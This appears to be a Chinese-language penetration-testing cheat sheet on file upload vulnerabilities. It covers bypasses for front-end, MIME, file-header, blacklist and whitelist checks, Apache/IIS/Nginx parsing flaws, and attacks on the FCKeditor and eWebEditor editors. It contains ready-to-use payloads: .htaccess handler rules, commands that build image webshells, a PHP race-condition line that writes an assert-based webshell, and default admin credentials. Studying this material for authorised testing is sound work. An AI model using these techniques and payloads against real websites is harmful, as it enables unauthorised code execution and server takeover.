文件上传
文件上传原理
程序员在开发web应用系统时没有对文件上传后缀内容进行过滤和检测,导致能够上传任意文件,就造成了任意文件上传漏洞
文件上传漏洞前提
前端存在上传页面,后端接收前端上传的表单数据
能控制上传的文件后缀
上传的文件通过后缀直接被解析运行
中间件解析漏洞(IIS6.0默认将asp/cer/cdx/asa/aspx解析为asp)
网站开启了文件上传功能
php.ini相关配置
file_uploads=ON #开启接收前端file表单数据
upload_max_filesize=2M #最大上传文件大小为2M
max_file_uploads=20 #最多一次性接收20个文件上传表单数据
开启了不安全的PUT写方法(通过PUT /index.php请求体内写一句话到wab根目录)
不完善的黑名单扩展名(
1.asp. 1.asp
1.asp$DATA::.png
1.asp%00.png
)
上传文件后,若网站不解析文件,则可以考虑上传html文件(利用xss)
文件上传漏洞高危触发点
- 头像,相册,附件
- 论坛发帖,图片上传,附件上传,视频上传
- 网站添加文章
- 编辑器存在文件上传漏洞(fckeditor/ueditor等)
前端检测
识别
通过浏览器查看网络状态,点击提交按钮无网络请求
绕过方式
- 删除修改前端代码
- 浏览器/插件禁用js
- 利用抓包工具抓包修改后缀
Mime-Type检测
作用:中间件赋予浏览器的一个标准,浏览器根据content-type的值指定组件进行渲染或者直接显示文件内容
后端检测mime-type($_FILES['uploadfile']['type']
)
绕过方式
抓包修改Content-Type值
- image/jpeg
- image/png
- image/gif
文件头检测
linux十六进制查看文件
hexdump 1.jpg | head -10
常用图片格式文件头(文件幻数)
相关检测函数
getimagesize()函数:用于获取图片大小信息,读取错误则返回false
绕过方式
制作图片马
copy 1.jpg/b + 1.php/a shell.php #windows
cat 1.jpg shell.php > shell2.php #linux使用编辑器在图片末尾加上一句话木马
使用burp在文件末尾添加一句话木马
黑名单检测绕过方式
大小写绕过
特殊文件名(xxx.php空格 .htaccess xxx.php::$DATA...... xxx.php. .)
00截断
影响范围:php<5.3.4,magic_quotes_gpc为OFF
- windows:不允许存在
-/\*?#:<>|"
- linux:不允许存在
/?#<|'"
若有文件路径,则直接添加%00
无文件路径则使文件名为
xx.php+.jpg
,在hex中更改+为00即可- windows:不允许存在
白名单检测绕过方式
- 结合中间件漏洞
- 结合文件包含漏洞
解析漏洞
Apache解析漏洞
多文件后缀名(shell.php.aaa.bbb),apache httpd中间件从右向左依次判断解析,bbb不人识,aaa不认识,php认识,就当成php解析执行
配置文件(httpd.conf)解析
AddHandler php5-script .jpg
将文件名包含.jpg文件当成php解析执行AddType application/x-httpd-php .jpg
将文件名包含.ipg文件当成php解析执行
中间件默认解析后缀
.php .php3 .php4 .php5 .pht .phtml
上传.htaccess文件解析其他后缀文件
#1
<FilesMatch ".abc">
SetHandler application/x-httpd-php
</FilesMatch>
将文件名包含.abc文件解析成php
#2
AddType application/x-httpd-php .abc
#3
AddHandler php5-script .abc
IIS6.0解析漏洞
目录解析
x.asp或x.asa目录下的所有文件都会被解析为asp文件
特殊文件名解析
分号可以当做截断符号,分号后面的内容截断不识别。
因此可以通过
xx.asp;.jpg
来进行绕过解析文件类型
iis6.0默认的可执行文件除了asp还有asa、cer、cdx这三种后缀文件(当做asp执行)
IIS7.0/7.5中会将.asp和.cer文件进行解析
IIS7.0/7.5/Nginx 1.x畸形解析漏洞(PHP cgi解析)
在访问一个文件的后缀后加上/xx.php,则会解析为php文件(例如1.jpg/.php)
利用条件
- Fast-CGl运行模式
- php.ini里cgi.fix_pathinfo=1(默认为1)
- 取消勾选php-cgi.exe程序的"Invoke handler only if request is mapped to"
文件上传测试思路
上传正常文件抓包,修改后缀名(asp|aspx|jsp|jspx|php)
根据回显判断检测类型(前端|Content-Type|文件头|黑名单|白名单)
黑名单检测
- windows(大小写|空格|.|::$DATA)
- Linux(00截断)
- Apache(1.php.aaa.bbb.ccc)
- IIS6.0(1.asp|1.asa|1.cer|1.cdx)
- IIS7.5(1.asp|1.cer)
白名单检测
IIS6.0(1.asp/1.jpg,1.asp;.jpg)
IIS7.0|IIS7.5(php-cig 1.jpg/.php)
Nginx 1.x (fix_pathinfo=1,1.jpg/.php)
其他检测
条件竞争
burp同时发上传包和访问包(访问包访问上传包访问所在位置)(php为多线程处理)
<?php file_put_contents('shell.php','<?=assert($_REQUEST[1]);?>')?>
利用时间戳包含图片文件写shell
<?php include($_GET['file']);?>
文件有上传成功回显但无文件路径
查看图片源代码,拼接路径
burpsuite爬虫|浏览器挂burp代理网站功能点一遍(网站目录结构),目录拼接文件名访问(将目录提取成字典+文件名爆破)
目录爆破工具进行爆破(dirb|dirbuster|dirmap|dirsearch|御剑|7kb Webpathscanner),组合文件访问
利用搜索引擎site:xxx.com,从搜索引擎爬虫结果获取目录结构
查看网站前端代码
编辑器漏洞
常见编辑器
FCKeditor
- fckeditor编辑器页 fckeditor/_samples/default.html
- 查看编辑器版本 fckeditor/whatsnew.html /fckeditor/editor/dialog/fck about.html
- 查看文件上传路径 fckeditor/editor/filemanager/browser/default/connectors/asp/connector.asp? command=getfoldersandfiles&type=image¤tfolder=/
- 文件上传页面 fckeditor/editor/filemanager/connectors/test.html fckeditor/editor/filemanager/connectors/uploadtest.html fckeditor/editor/filemanager/browser/default/connectors/test.html fckeditor/editor/filemanager/upload/test.html
- 高版本利用US解析漏洞组合创建.asp目录会将.替换成_ 绕过方式:递归创建 FCKeditor/editor/filemanager/connectors/asp/connector.asp?Command=CreateFolder&Type=file&CurrentFolder=/shell.asp& NewFoldername=test 先创建shell.asp再创建test目录,这样可以绕过高版本将.asp替换成_aspl
- 修改允许上传后缀名绕过(登录到后台)
Ewebeditor
- 关键文字的名称和路径 Admin Login.asp登录页面 Admin Default.asp管理首页 Admin UploadFile.asp Upload.asp
- 默认用户名密码 账号密码基本是默认的admin/admin(admin888)
- 下载数据库 默认数据库/db/ewebeditor.mdb或者/db/ewebeditor.asp
- 文件上传接口存在任意文件上传
- 遍历路径目录遍历
- Cookie漏洞日志文件中泄露cookie
- 后台允许上传后缀名
Ueditor
文件读取
file目录文件读取
image目录文件读取
KindEditor